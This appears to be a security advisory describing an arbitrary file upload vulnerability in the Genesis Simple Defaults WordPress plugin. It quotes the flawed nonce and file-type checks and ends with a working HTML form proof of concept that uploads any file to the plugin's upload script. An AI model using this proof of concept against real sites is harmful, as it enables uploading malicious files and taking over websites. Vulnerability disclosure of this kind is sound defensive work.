Arbitrary File Upload Vulnerability in Genesis Simple Defaults
One of the things we do to make sure we are providing our customers with the best data on the vulnerabilities that exist and are being exploited in WordPress plugins is to monitor our websites for hacking attempts. Through that we saw a recent request on one of them for the file /wp-content/plugins/genesis-simple-defaults/readme.txt, which indicates that a hacker may be probing for usage of the plugin Genesis Simple Defaults.
When looking to see if we could find a vulnerability that hackers would be interested in targeting in the plugin, one of the two files with PHP code in the plugin immediately stood out, uploadFavicon.php. Seeing as hacker frequently target arbitrary file upload vulnerabilities, based on the name of the file that would seem to be a likely location for that type of thing.
In looking at the code you don’t get far before seeing a major security problem:
7 8 9 10 | if(!isset($_POST['upload-favicon'])){ if ( !wp_verify_nonce( $_POST['upload-favicon'], plugin_basename(__FILE__) )) {header("location:".$refer."&nonceless");} } else{ |
That code is intended to check for a valid nonce (to prevent cross-site request forgery (CSRF)), but it only tries to verify the nonce if it doesn’t exist, which doesn’t make sense. If you do include a nonce, then else statement, which handles upload files, runs without checking if it the nonce is valid.
The only other code that looks like it restricts what files can be uploaded is this:
18 | if( ($image['type'] != "image/gif") && ($image['type'] != "image/jpeg") && ($image['type'] != "image/pjpeg") && ($image['type'] != "image/ico") && ($image['type'] != "image/vnd.microsoft.icon") && ($image['type'] != "image/png") ){ header("location:".$refer."&mistype=".$image['type']); } |
The [‘type’] is specified by the requester, so it can be set to something other than it actually is, so that wouldn’t restrict what could be uploaded. But more importantly in this case, the check doesn’t actually stop you from uploading other types of files, it just dictates what URL you are redirected to after the file is uploaded.
Without any working security restrictions in place that leaves you with an arbitrary file upload vulnerability in the file and therefore in the plugin.
Considering the developer of the plugin hasn’t been active in three years we have skipped notifying them and notified the Plugin Directory instead.
Proof of Concept
The following proof of concept will upload the selected file to the directory /wp-content/uploads/favicon/.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-content/plugins/genesis-simple-defaults/uploadFavicon.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="upload-favicon" value="fake" /> <input type="file" name="iconImage" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 9/22/2016 – WordPress.org Plugin Directory notified.